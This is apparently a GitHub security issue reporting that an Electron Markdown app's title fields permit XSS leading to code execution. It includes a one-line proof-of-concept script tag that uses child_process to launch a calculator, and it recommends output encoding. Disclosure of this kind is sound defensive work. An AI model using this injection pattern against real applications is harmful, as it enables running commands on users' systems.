Skip to content

[Security] XSS RCE #31

Description

@H8to

The current implementation allows for XSS in the title fields.

XSS in Electron allows to interact with the system api and execute applications or commands.

Markdown POC:

# sometitle <script type="text/javascript">window.top.require('child_process').execFile('/usr/bin/gnome-calculator',function(){});</script>

Fix:
Encode output before it is represented to the ui.
OWASP XSS Prevention Cheat Sheet

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions